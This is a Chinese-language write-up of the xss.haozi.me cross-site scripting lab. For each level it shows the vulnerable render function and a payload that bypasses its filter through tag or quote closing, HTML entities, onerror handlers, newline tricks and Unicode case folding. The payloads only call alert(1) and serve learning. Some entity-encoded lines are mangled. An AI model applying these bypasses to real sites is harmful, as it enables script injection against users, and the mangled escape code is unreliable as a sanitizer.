Web安全基础 - XSS Labs
实验来自于https://xss.haozi.me
XSS是跨站脚本攻击(Cross Site Scripting)，为不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆，故将跨站脚本攻击缩写为XSS。
XSS攻击实际上就是攻击者使得浏览器执行本不该存在的前端代码。
0x00 基础
服务端代码如下：
function render (input) {
return '<div>' + input + '</div>'
}
当输入为<scirpt>alert(1);</scirpt>，因为输入要回显到前端，这时候浏览器将输入识别为了HTML代码，执行alert(1);
0x01-0x02 主动闭合
0x01 主动闭合-标签
服务端代码如下：
function render (input) {
return '<textarea>' + input + '</textarea>'
}
textarea会将输入作为多行文本显示出来，我们想继续让输入作为代码执行，就要主动闭合来绕过该标签，
那么输入就是</textarea><script>alert(1);</script><textarea>
可以看到页面前端多了两个空的文本框，它们是由我们的输入主动闭合造成的。出现引号等将输入识别为文本的限制，也可以使用这种方法绕过。如下题。
0x02 主动闭合-引号
该题目的服务端代码：
function render (input) {
return '<input type="name" value="' + input + '">'
}
当我们输入"><script>alert(1);</script><"时候引号闭合，html为
<input type="name" value=""><script>alert(1);</script><"">
name的值为空，输入作为了脚本执行。
0x03-0x05 常见过滤
0x03 ()过滤
服务端代码将()过滤,但我们执行函数时需要带上()。
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
通过键盘左上角的``可以绕过()的过滤，输入
<script>alert`1`;</script>
成功绕过
0x04 ()&`过滤
服务端同时过滤了()和`
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
这里要用到HTML实体字符来绕过,(, )分别代表左右括号
这里直接输入<script>alert(1)</script>不行，因为script标签内部会识别成js代码而非html语言。
这里使用<img src="asdasd" onerror="alert(1);">
img的src任意填写，保证其失败后调用onerror属性内的代码。
0x05 -->过滤
服务端代码过滤掉了-->
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
}
使用--!>绕过即可
输入--!><script>alert(1);</script>
0x06-0x07 正则绕过
0x06 正则绕过-换行1
服务端过滤了正则：auto|on.*=|>
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
这里在input标签内构造标签属性image，然后模仿上题构造onerror的语句,注意onerror后面要另加换行，不然会被正则过滤
type="image" src="sdsa" onerror
="alert(1);"
0x07 正则绕过-标签不闭合
服务器过滤正则/<\/?[^>]+>/gi
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
这个正则匹配以<或者</开头，至少有一个非>字符作为内容，以>结尾的字符串
输入<img src="sad" onerror="alert(1);"不闭合就可以绕过
0x08 正则绕过-换行2
服务器过滤了标签导致无法闭合
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
输入
</style
>
<script>alert(1);</script>
绕过
0x09 正则绕过-test检测
test只会检测是否存在要求的正则匹配
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
我们只要首先输入对应的URL再闭合，重新开始构造就好，这里不能使用script，因为后面还有一个引号
https://www.segmentfault.com"></script><img src="123" onerror="alert(1);
0x0A 引入漏洞页面
这里综合了replace和test，先进行URL的检测，再进行字符的替换
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
仔细看代码发现是将原字符替换为对应的HTML字符实体，但是输入最后在script里面识别为js代码。
这里利用的是src属性会将@后的网址解析出来，将前面的内容作为用户名作为登录后面网页的用户名
（alert(1)的js官方提供地址：https://xss.haozi.me/j.js）
放个别人的payloadhttps://www.segmentfault.com@xss.haozi.me/j.js，但是我在Chrome和edge上都没有成功。
0x0B-0x0C toUpperCase
0x0B toUpperCase
这关会将所有的输入转换为大写字符，我们根据之前的思路，利用HTML实体字符来绕过。
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
标签是大小写不敏感的，但是我们要执行的js代码大小写敏感，对代码进行实体字符编码
alert(1); "alert(1);"
0x0C 标签过滤+toUpperCase
在toUpperCase前加了一次script的过滤，用上一题的payload依然可以解
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
0x0D 注释逃逸
首先对input进行一些过滤所以//这里就不能用了，使用-->来过滤，然后是通过换行来绕过注释
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
我们的输入就应该是%0Aalert(1)%3B%0A--%3E
alert(1);
-->
0x0E ſ绕过
这里的语法是在<和紧邻的第一个字母前面加上_
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
做出来的人payload是这样的<ſcript src="https://xss.haozi.me/j.js"></script>
- ſ 是古英语中的s的写法, 转成大写是正常的S
- 利用src引入漏洞文件来绕过大写JS代码无法执行
0x0F-0x12 主动闭合2
0x0F 主动闭合-调用
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
<script src="${escapeHtml(input)}"></script>这是0x0A的HTML实体字符替换，成功阻止了我们进行截断。
虽然该题也进行了实体字符替换，但是对于内联为字符串的js代码，浏览器会先进行HTML解析，再将其视作js，因此我们这里可以直接截断绕过。
Payload：');alert('1
0x10 主动闭合-语句
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}
和上一题类似，闭合再写入alert语句就好
Payload: 1;alert(1)
0x11 主动闭合-综合
应该是这些题目里最长的代码，不过意思也很简明。
这里的escapeJs的作用是将一些特殊字符转义为普通字符。script是给页面添加一个url并点击，也就是触发我们的输入。
看明白了其实还是用到闭合的思路。
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
Payload: ");alert(1);("
0x12 主动闭合-综合2
“替换成\“，可以双写一个\来转义掉第一个\绕过
console.log("")有语法错误，要再加一个\来转义
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
Payload：\");alert(1);//